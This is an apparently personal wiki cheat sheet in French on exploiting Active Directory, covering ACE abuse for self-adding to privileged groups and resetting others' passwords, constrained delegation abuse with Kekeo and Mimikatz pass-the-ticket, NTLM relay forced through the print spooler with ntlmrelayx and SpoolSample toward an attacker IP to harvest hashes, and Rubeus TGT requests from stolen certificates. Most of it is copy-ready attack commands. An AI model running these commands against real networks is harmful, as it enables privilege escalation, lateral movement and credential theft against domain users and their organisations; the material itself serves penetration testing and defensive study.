[Exploitation/AD] Cheat-sheet

Introduction

Quelques techniques d'exploitation de vulnérabilité sur l'Active Directory.

Techniques

Mauvaise configuration ACE

Les **ACE** pour Access Control Entries sont des propriétés propres aux objets du domaines.

Si elles sont mal configurées, elles peuvent aboutir à une exploitation.

Par exemple, si on possède l'ACE **AddMember** on peut ajouter un utilisateur dans un groupe (y compris soit-même).

On peut donc se mettre dans un groupe à privilège élevé :

```
Add-ADGroupMember "IT Support" -Members "<USERNAME>"
```

Un autre ACE exploitable est **ForceChangePassword** qui permet de changer le mot de passe d'un utilisateur sans connaître son mot de passe :

```
$Password = ConvertTo-SecureString "<NEW_PASSWD>" -AsPlainText -Force
```

```
Set-ADAccountPassword -Identity "<USERNAME>" -Reset -NewPassword $Password
```

Constrained Delegation

Les délégations contraintes permettent à des services d'utiliser les droits d'autres d'objet du domaine pour accéder à un service.

Avec **PowerSploit**, il est possible d'énumérer les délégations :

```
Import-Module C:\Tools\PowerView.ps1
Get-NetUser -TrustedToAuth
```

Avec l'outil Kekeo, on peut demander de générer un ticket TGT avec notre compte de service compromis :

```
kekeo# tgt::ask /user:<SVC_USERNAME> /domain:<DOMAIN_FQDN> /password:<PASSWD>
```

Ensuite avec ce TGT, on peut demander au serveur de générer des TGS pour un autre service :

```
kekeo# tgs::s4u /tgt:<TGT_FILE>.kirbi /user:<USER> /service:<OTHER_SVC>/<TARGET_SRV>
```

Une fois les TGS générés, on peut utiliser Mimikatz pour faire du Pass-The-Ticket :

```
mimikatz # privilege::debug
mimikatz # kerberos::ptt <TGS_FILE.kirbi>
```

Une fois les tickets injectés, on peut utiliser nos nouveaux droits pour créer une session **WinRM** et pivoter vers une autre machine :

```
New-PSSession -ComputerName <TARGET_DN>
```

```
Enter-PSSession -ComputerName <TARGET_DN>
```

Relai d'authentification

Grâce à certaines vulnérabilités, il est possible de forcer un serveur distant à s'authentifier à un serveur spécifique notamment grâce au service **spooler d'impression**.

Depuis le premier poste compromis, on peut essayer de joindre le service spooler du poste cible :

```
GWMI Win32_Printer -Computer <TARGET_DN>
```

On peut aussi voir si le **SMB signing** n'est pas forcée :

```
nmap --script=smb2-security-mode -p445 <TARGET_DN>
```

Grâce à la suite **Impacket**, on peut mettre en place un serveur relai :

```
python3.9 /opt/impacket/examples/ntlmrelayx.py -smb2support -t smb://"<TARGET_IP>" -debug
```

On peut utiliser un SpoolSample pour déclencher une authentification :

```
SpoolSample.exe <TARGET_DN> "<ATTACKER_IP>"
```

> En revenant sur votre relai, vous devriez avoir récupérer les hashs des utilisateurs de la cible. Vous n'aurez plus qu'à faire une attaque pass-the-hash ou lancer une attaque brute force.

Vol d'identité avec certificat

Si vous avez en votre possession un certificat au format **pfx** avec son mot de passe, vous pouvez l'utiliser pour générer un ticket TGT.

Avec **Rubeus** :

```
Rubeus.exe asktgt /user:<USER> /enctype:aes256 /certificate:<PATH_TO_CRT>
/password:<CRT_PASSWORD> /outfile:<OUTPUT_TGT> /domain:<DOMAIN_FQDN> /dc:<DC_IP>
```

> Une fois le ticket générer avec Rubeus vous pouvez l'injecter avec **Mimikatz**.

Revision #7
Created 2024-03-08 09:53:31 UTC by Elieroc
Updated 2024-05-03 14:56:55 UTC by Elieroc